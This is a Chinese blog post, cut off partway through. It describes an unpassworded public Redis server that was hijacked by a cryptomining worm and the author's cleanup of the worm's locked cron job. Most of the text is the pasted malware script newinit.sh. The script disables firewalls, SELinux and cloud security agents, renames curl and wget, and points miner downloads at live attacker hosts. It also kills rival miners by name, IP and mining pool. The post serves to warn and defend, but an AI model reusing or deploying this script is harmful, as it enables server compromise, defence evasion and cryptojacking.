公网的Redis还敢不设置密码？我看你是疯了

发布一下 2022年12月23日 11:15 0 0

朋友们，我有一台华为云耀服务器，闲来无事，在上面装了个redis，做一些测试研究，结果被攻击了，这还是头一回遇见，因为以前的环境还是使用内网居多。

现象描述

因为头一天忙到挺晚的，电脑没有关机，所以第二天准备将电脑清理下，关一关暂时不用的软件，当看到ftp远程工具时，我整个人都精神了，你们看下：

整个人一下就精神了，我这个服务器只有一个mysql和一个redis，并且基本没有在使用，怎么就把内存沾满了，cpu还占用了一半的样子，当即我就想到，我可能被攻击了。

登录华为云控制台看看

第一个想到的就是登录控制台看看，什么时间开始被攻击的？

如上图所示大概就是前一晚的二十二点四十多开始的。

我比较惊讶的是华为云没有什么告警的机制吗？突然大流量涌入，且服务器内存都满了，它都没有任何的提示信息，还在这里展示无风险：

寻找问题

当前最重要的就是找找哪里被攻击了，其实我都很清楚，一定是昨天安装的redis了。主要是两个原因：

安全组开放了全部ip的入口访问
没有设置密码

那么我们就去看看redis有什么现象？

客户端工具连接一下，发现搜有的key都没啦，变成了如下的内容：

既然如此，我们不妨去redis的日志文件看看，它都经历了什么。日志在哪呢？在配置文件当中看看它的路径，结果发现自己没配，还是在默认的位置，/dev/null：

这是什么意思？这就是告诉我，谁让你不配置日志呢？现在想看根本就没有。

解决问题

既然如此，我们直接解决问题好了。首先想到的是直接杀死redis的进程：

[root@hecs-402944 myredis]# ps -ef|grep redisroot     12810 10424  0 10:30 pts/0    00:00:00 grep --color=auto redisroot     21392     1  0 3月02 ?       00:01:19 redis-server *:6379[root@hecs-402944 myredis]# kill -9 21392

然后你会发现，并没有什么用，无论是cpu还是内存，依然高居不下。我甚至不知道怎么解决，那么就直接重启服务器吧。重启大法好啊，总算是释放了被占用的资源了。

但是一段时间后，内存占用又上去了，所以事情必然不是那么简单了。从前面的Redis中的脚本内容可以发现，cron表达式，一定是有定时任务在不断地跑，所以我沿着这条线看看服务器上面的定时任务有哪些：

[root@hecs-402944 ~]# crontab -l*/30 * * * * sh /etc/newinit.sh >/dev/null 2>&1

只有一个，一定是它，我们先停了它，然后看看它到底是什么内容。

[root@hecs-402944 etc]# rm -rf newinit.sh rm: 无法删除"newinit.sh": 不允许的操作

我直呼好家伙，不允许删除。

使用下面的命令查看这个文件：

 lsattr newinit.sh ----ia-------e-- newinit.sh

这个ia是什么意思？

a：Append Only，系统只允许在这个文件之后追加数据，不允许任何进程覆盖或截断这个文件。如果目录具有这个属性，系统将只允许在这个目录下建立和修改文件，而不允许删除任何文件。　　i：Immutable，系统不允许对这个文件进行任何的修改。如果目录具有这个属性，那么任何的进程只能修改目录之下的文件，不允许建立和删除文件。

修改这个权限：

[root@hecs-402944 etc]# chattr -ia newinit.sh -bash: /usr/bin/chattr: 权限不够

权限不让修改。。，使用下面的方法去重新创建一个chattr2好了：

[root@hecs-402944 etc]# cp /usr/bin/chattr /usr/bin/chattr2[root@hecs-402944 etc]# chmod 755 /usr/bin/chattr2[root@hecs-402944 etc]# chattr2 -i /usr/bin/chattr[root@hecs-402944 etc]# chmod 755 /usr/bin/chattr[root@hecs-402944 etc]# ls -la /usr/bin/chattr  -rwxr-xr-x 1 root root 11536 9月  30 2020 /usr/bin/chattr[root@hecs-402944 etc]# lsattr /usr/bin/chattr -------------e-- /usr/bin/chattr

此时使用chattr2修改权限，再次删除定时任务文件，就可以成功了。

chattr2 -ia newinit.sh

停止定时任务，居然也没有权限，真绝啊~按照下面的操作来，首先修改权限：

[root@hecs-402944 etc]# lsattr /var/spool/cron/root----ia-------e-- /var/spool/cron/root[root@hecs-402944 etc]# chattr2 -ia /var/spool/cron/root

删除定时任务,查看发现没有了

[root@hecs-402944 etc]# crontab -r[root@hecs-402944 etc]# crontab -lno crontab for root

重启服务器，总算解决了。

定时任务文件干了啥？

我直接贴在这了，兄弟们自己看吧，看的是触目惊心啊。

#!/bin/shulimit -n 65535chmod 777 /usr/bin/chattrchmod 777 /bin/chattriptables -Fufw disablesysctl kernel.nmi_watchdog=0echo '0' >/proc/sys/kernel/nmi_watchdogecho 'kernel.nmi_watchdog=0' >>/etc/sysctl.confchattr -iae /root/.ssh/chattr -iae /root/.ssh/authorized_keyschattr -iua /tmp/chattr -iua /var/tmp/rm -rf /tmp/addres*rm -rf /tmp/walle*rm -rf /tmp/keysrm -rf /var/log/syslogcrondir='/var/spool/cron/'"$USER"cont=`cat ${crondir}`ssht=`cat /root/.ssh/authorized_keys`echo 1 > /etc/zzhsrtdir="/etc/zzhs"bbdir="/usr/bin/curl"bbdira="/usr/bin/cd1"ccdir="/usr/bin/wget"ccdira="/usr/bin/wd1"mv /usr/bin/wgettnt /usr/bin/wd1mv /usr/bin/curltnt /usr/bin/cd1mv /usr/bin/wget1 /usr/bin/wd1mv /usr/bin/curl1 /usr/bin/cd1mv /usr/bin/cur /usr/bin/cd1mv /usr/bin/cdl /usr/bin/cd1mv /usr/bin/cdt /usr/bin/cd1mv /usr/bin/xget /usr/bin/wd1mv /usr/bin/wge /usr/bin/wd1mv /usr/bin/wdl /usr/bin/wd1mv /usr/bin/wdt /usr/bin/wd1mv /usr/bin/wget /usr/bin/wd1mv /usr/bin/curl /usr/bin/cd1if ps aux | grep -i '[a]liyun'; then  $bbdir http://update.aegis.aliyun.com/download/uninstall.sh | bash  $bbdir http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash  $bbdira http://update.aegis.aliyun.com/download/uninstall.sh | bash  $bbdira http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash  pkill aliyun-service  rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service  rm -rf /usr/local/aegis*  systemctl stop aliyun.service  systemctl disable aliyun.service  service bcm-agent stop  yum remove bcm-agent -y  apt-get remove bcm-agent -yelif ps aux | grep -i '[y]unjing'; then  /usr/local/qcloud/stargate/admin/uninstall.sh  /usr/local/qcloud/YunJing/uninst.sh  /usr/local/qcloud/monitor/barad/admin/uninstall.shfiif [ -f /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh ]; then  /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh stop && /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh remove && rm -rf /usr/local/cloudmonitor  else  export ARCH=amd64  if [ -f /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} ]; then    /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} stop && /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} uninstall && rm -rf /usr/local/cloudmonitor   else    echo "ali cloud monitor not running"  fifisetenforce 0echo SELINUX=disabled >/etc/selinux/configservice apparmor stopsystemctl disable apparmorservice aliyun.service stopsystemctl disable aliyun.serviceps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %rm -rf /usr/local/aegisminer_url="http://195.242.111.238/cleanfda/zzh"miner_url_backup="http://en2an.top:8080/cleanfda/zzh"miner_size="6006304"sh_url="http://195.242.111.238/cleanfda/newinit.sh"sh_url_backup="http://en2an.top:8080/cleanfda/newinit.sh"chattr_size="8000"sleep 1if [ -x "$(command -v t)" ]; thenmv /usr/bin/t /usr/bin/chattrfiif [ -x "$(command -v chattr)" ]; thenchattr -i /usr/bin/ip6networkchattr -i /usr/bin/kswapedchattr -i /usr/bin/irqbalancedchattr -i /usr/bin/rctlclichattr -i /usr/bin/systemd-networkchattr -i /usr/bin/pamdicksecho 1 > /usr/bin/ip6networkecho 2 > /usr/bin/kswapedecho 3 > /usr/bin/irqbalancedecho 4 > /usr/bin/rctlcliecho 5 > /usr/bin/systemd-networkecho 6 > /usr/bin/pamdickschattr +i /usr/bin/ip6networkchattr +i /usr/bin/kswapedchattr +i /usr/bin/irqbalancedchattr +i /usr/bin/rctlclichattr +i /usr/bin/systemd-networkchattr +i /usr/bin/pamdicksfisleep 1kill_miner_proc(){netstat -anp | grep 185.71.65.238 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %netstat -anp | grep 140.82.52.87 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %netstat -anp | grep :443 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %netstat -anp | grep :23 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %netstat -anp | grep :443 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %netstat -anp | grep :143 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %netstat -anp | grep :2222 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %netstat -anp | grep :3333 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %netstat -anp | grep :3389 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %netstat -anp | grep :5555 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %netstat -anp | grep :6666 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %netstat -anp | grep :6665 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %netstat -anp | grep :6667 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %netstat -anp | grep :7777 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %netstat -anp | grep :8444 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %netstat -anp | grep :3347 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %netstat -anp | grep :10008 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %ps.original aux | grep -v grep | grep ':13531' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep ':3333' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep ':5555' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'kworker -c\' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'log_' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'systemten' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'netns' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'voltuned' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'darwin' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '/tmp/dl' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '/tmp/ddg' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '/tmp/pprt' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '/tmp/ppol' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '/tmp/65ccE*' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '/tmp/jmx*' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '/tmp/2Ne80*' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'IOFoqIgyC0zmf2UR' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '45.76.122.92' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '51.38.191.178' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '51.15.56.161' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '86s.jpg' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'aGTSGJJp' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'nMrfmnRa' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'PuNY5tm2' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'I0r8Jyyt' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'AgdgACUD' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'uiZvwxG8' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'BtwXn5qH' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '3XEzey2T' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 't2tKrCSZ' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'HD7fcBgg' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'zXcDajSs' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '3lmigMo' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'AkMK4A2' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'AJ2AkKe' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'HiPxCJRS' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'http_0xCC030' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'http_0xCC031' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'http_0xCC032' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'http_0xCC033' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep "C4iLM4L" | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'aziplcr72qjhzvin' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | awk '{ if(substr($11,1,2)=="./" && substr($12,1,2)=="./") print $2 }' | xargs -I % kill -9 %ps aux | grep -v grep | grep '/boot/vmlinuz' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep "i4b503a52cc5" | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep "dgqtrcst23rtdi3ldqk322j2" | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep "2g0uv7npuhrlatd" | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep "nqscheduler" | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep "rkebbwgqpl4npmm" | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep -v aux | grep "]" | awk '$3>10.0{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep "2fhtu70teuhtoh78jc5s" | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep "0kwti6ut420t" | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep "44ct7udt0patws3agkdfqnjm" | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk 'length($11)>19{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep "\[^" | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep "rsync" | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep "watchd0g" | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | egrep 'wnTKYg|2t3ik|qW3xT.2|ddg' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep "158.69.133.18:8220" | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep "/tmp/java" | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'gitee.com' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '/tmp/java' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '104.248.4.162' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '89.35.39.78' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '/dev/shm/z3.sh' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'kthrotlds' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'ksoftirqds' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'netdns' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'watchdogs' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'redis2' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep -v aux | grep " ps" | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep "sync_supers" | cut -c 9-15 | xargs -I % kill -9 %ps aux | grep -v grep | grep "cpuset" | cut -c 9-15 | xargs -I % kill -9 %ps aux | grep -v grep | grep -v aux | grep "x]" | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep -v aux | grep "sh] <" | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep -v aux | grep " \[]" | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '/tmp/l.sh' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '/tmp/zmcat' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'CnzFVPLF' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'CvKzzZLs' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'aziplcr72qjhzvin' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '/tmp/udevd' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'sustse' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'sustse3' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '2mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '2mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'cr5.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'cr5.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'logo9.jpg' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'logo9.jpg' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'j2.conf' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'luk-cpu' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'luk-cpu' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'ficov' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'ficov' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'he.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'he.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'miner.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'miner.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'nullcrew' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'nullcrew' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '107.174.47.156' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '83.220.169.247' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '51.38.203.146' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '144.217.45.45' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '107.174.47.181' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep '176.31.6.16' | awk '{print $2}' | xargs -I % kill -9 %ps auxf | grep -v grep | grep "mine.moneropool.com" | awk '{print $2}' | xargs -I % kill -9 %ps auxf | grep -v grep | grep "pool.t00ls.ru" | awk '{print $2}' | xargs -I % kill -9 %ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:8080" | awk '{print $2}' | xargs -I % kill -9 %ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:3333" | awk '{print $2}' | xargs -I % kill -9 %ps auxf | grep -v grep | grep "zhuabcn@yahoo.com" | awk '{print $2}' | xargs -I % kill -9 %ps auxf | grep -v grep | grep "monerohash.com" | awk '{print $2}' | xargs -I % kill -9 %ps auxf | grep -v grep | grep "/tmp/a7b104c270" | awk '{print $2}' | xargs -I % kill -9 %ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:6666" | awk '{print $2}' | xargs -I % kill -9 %ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:7777" | awk '{print $2}' | xargs -I % kill -9 %ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:443" | awk '{print $2}' | xargs -I % kill -9 %ps auxf | grep -v grep | grep "stratum.f2pool.com:8888" | awk '{print $2}' | xargs -I % kill -9 %ps auxf | grep -v grep | grep "xmrpool.eu" | awk '{print $2}' | xargs -I % kill -9 %ps auxf | grep -v grep | grep "kieuanilam.me" | awk '{print $2}' | xargs -I % kill -9 %ps auxf | grep xiaoyao | awk '{print $2}' | xargs -I % kill -9 %ps auxf | grep xiaoxue | awk '{print $2}' | xargs -I % kill -9 %netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %pgrep -f L2Jpbi9iYXN | xargs -I % kill -9 %pgrep -f xzpauectgr | xargs -I % kill -9 %pgrep -f slxfbkmxtd | xargs -I % kill -9 %pgrep -f mixtape | xargs -I % kill -9 %pgrep -f addnj | xargs -I % kill -9 %pgrep -f 200.68.17.196 | xargs -I % kill -9 %pgrep -f IyEvYmluL3NoCgpzUG | xargs -I % kill -9 %pgrep -f KHdnZXQgLXFPLSBodHRw | xargs -I % kill -9 %pgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS3 | xargs -I % kill -9 %pgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo | xargs -I % kill -9 %pgrep -f mwyumwdbpq.conf | xargs -I % kill -9 %pgrep -f honvbsasbf.conf | xargs -I % kill -9 %pgrep -f mqdsflm.cf | xargs -I % kill -9 %pgrep -f lower.sh | xargs -I % kill -9 %pgrep -f ./ppp | xargs -I % kill -9 %pgrep -f cryptonight | xargs -I % kill -9 %pgrep -f ./seervceaess | xargs -I % kill -9 %pgrep -f ./servceaess | xargs -I % kill -9 %pgrep -f ./servceas | xargs -I % kill -9 %pgrep -f ./servcesa | xargs -I % kill -9 %pgrep -f ./vsp | xargs -I % kill -9 %pgrep -f ./jvs | xargs -I % kill -9 %pgrep -f ./pvv | xargs -I % kill -9 %pgrep -f ./vpp | xargs -I % kill -9 %pgrep -f ./pces | xargs -I % kill -9 %pgrep -f ./rspce | xargs -I % kill -9 %pgrep -f ./haveged | xargs -I % kill -9 %pgrep -f ./jiba | xargs -I % kill -9 %pgrep -f ./watchbog | xargs -I % kill -9 %pgrep -f ./A7mA5gb | xargs -I % kill -9 %pgrep -f kacpi_svc | xargs -I % kill -9 %pgrep -f kswap_svc | xargs -I % kill -9 %pgrep -f kauditd_svc | xargs -I % kill -9 %pgrep -f kpsmoused_svc | xargs -I % kill -9 %pgrep -f kseriod_svc | xargs -I % kill -9 %pgrep -f kthreadd_svc | xargs -I % kill -9 %pgrep -f ksoftirqd_svc | xargs -I % kill -9 %pgrep -f kintegrityd_svc | xargs -I % kill -9 %pgrep -f jawa | xargs -I % kill -9 %pgrep -f oracle.jpg | xargs -I % kill -9 %pgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN | xargs -I % kill -9 %pgrep -f 188.209.49.54 | xargs -I % kill -9 %pgrep -f 181.214.87.241 | xargs -I % kill -9 %pgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ | xargs -I % kill -9 %pgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj | xargs -I % kill -9 %pgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK | xargs -I % kill -9 %pgrep -f servim | xargs -I % kill -9 %pgrep -f kblockd_svc | xargs -I % kill -9 %pgrep -f native_svc | xargs -I % kill -9 %pgrep -f ynn | xargs -I % kill -9 %pgrep -f 65ccEJ7 | xargs -I % kill -9 %pgrep -f jmxx | xargs -I % kill -9 %pgrep -f 2Ne80nA | xargs -I % kill -9 %pgrep -f sysstats | xargs -I % kill -9 %pgrep -f systemxlv | xargs -I % kill -9 %pgrep -f watchbog | xargs -I % kill -9 %pgrep -f OIcJi1m | xargs -I % kill -9 %pkill -f biosetjenkinspkill -f Loopbackpkill -f apacehapkill -f cryptonightpkill -f mixnerdxpkill -f performedlpkill -f JnKihGjnpkill -f irqba2anc1pkill -f irqba5xnc1pkill -f irqbnc1pkill -f ir29xc1pkill -f connspkill -f irqbalancepkill -f crypto-poolpkill -f XJnRjpkill -f mgwslpkill -f pythnopkill -f jweripkill -f lx26pkill -f NXLAipkill -f BI5zjpkill -f askdljlqwpkill -f minerdpkill -f minergatepkill -f Guard.shpkill -f ysaydhpkill -f bonnspkill -f donnspkill -f kxjdpkill -f Duck.shpkill -f bonn.shpkill -f conn.shpkill -f kworker34pkill -f kw.shpkill -f pro.shpkill -f polkitdpkill -f acpidpkill -f icb5opkill -f nopxipkill -f irqbalanc1pkill -f minerdpkill -f i586pkill -f gddrpkill -f mstxmrpkill -f ddg.2011pkill -f wnTKYgpkill -f deamonpkill -f disk_geniuspkill -f sourplumpkill -f polkitdpkill -f nanoWatchpkill -f zigwpkill -f devtoolpkill -f devtoolspkill -f systemctIpkill -f watchbogpkill -f cryptonightpkill -f sustespkill -f xmrigpkill -f xmrig-cpupkill -f 121.42.151.137pkill -f init12.cfgpkill -f nginxkpkill -f tmp/wc.confzpkill -f xmrig-notlspkill -f xmr-stakpkill -f suppoiepkill -f zer0day.rupkill -f dbus-daemon--systempkill -f nullcrewpkill -f systemctIpkill -f kworkerdspkill -f init10.cfgpkill -f /wl.confpkill -f crond64pkill -f sustsepkill -f vmlinuzpkill -f exinpkill -f apachiiipkill -f cryptopkill -f tntrechtpkill -f xrpkill -f svcupdatepkill -9 cnrigrm -rf /usr/bin/config.jsonrm -rf /usr/bin/exinrm -rf /tmp/wc.confrm -rf /tmp/log_rotrm -rf /tmp/apachiiirm -rf /tmp/sustserm -rf /tmp/phprm -rf /tmp/p2.confrm -rf /tmp/pprtrm -rf /tmp/ppolrm -rf /tmp/javax/config.shrm -rf /tmp/javax/sshd2rm -rf /tmp/.profilerm -rf /tmp/1.sorm -rf /tmp/kworkerdsrm -rf /tmp/kworkerds3rm -rf /tmp/kworkerdssxrm -rf /tmp/xd.jsonrm -rf /tmp/syslogdrm -rf /tmp/syslogdbrm -rf /tmp/65ccEJ7rm -rf /tmp/jmxxrm -rf /tmp/2Ne80nArm -rf /tmp/dlrm -rf /tmp/ddgrm -rf /tmp/systemxlvrm -rf /tmp/systemctIrm -rf /tmp/.abcrm -rf /tmp/osw.hbrm -rf /tmp/.tmpleverm -rf /tmp/.tmpnewzzrm -rf /tmp/.javarm -rf /tmp/.omedrm -rf /tmp/.tmpcrm -rf /tmp/.tmpleverm -rf /tmp/.tmpnewzzrm -rf /tmp/gates.lodrm -rf /tmp/conf.nrm -rf /tmp/devtoolrm -rf /tmp/devtoolsrm -rf /tmp/fsrm -rf /tmp/.rodrm -rf /tmp/.rod.tgzrm -rf /tmp/.rod.tgz.1rm -rf /tmp/.rod.tgz.2rm -rf /tmp/.merrm -rf /tmp/.mer.tgzrm -rf /tmp/.mer.tgz.1rm -rf /tmp/.hodrm -rf /tmp/.hod.tgzrm -rf /tmp/.hod.tgz.1rm -rf /tmp/84Onmcerm -rf /tmp/C4iLM4Lrm -rf /tmp/lilpiprm -rf /tmp/3lmigMorm -rf /tmp/am8jmBPrm -rf /tmp/tmp.txtrm -rf /tmp/babyrm -rf /tmp/.librm -rf /tmp/systemdrm -rf /tmp/lib.tar.gzrm -rf /tmp/babyrm -rf /tmp/javarm 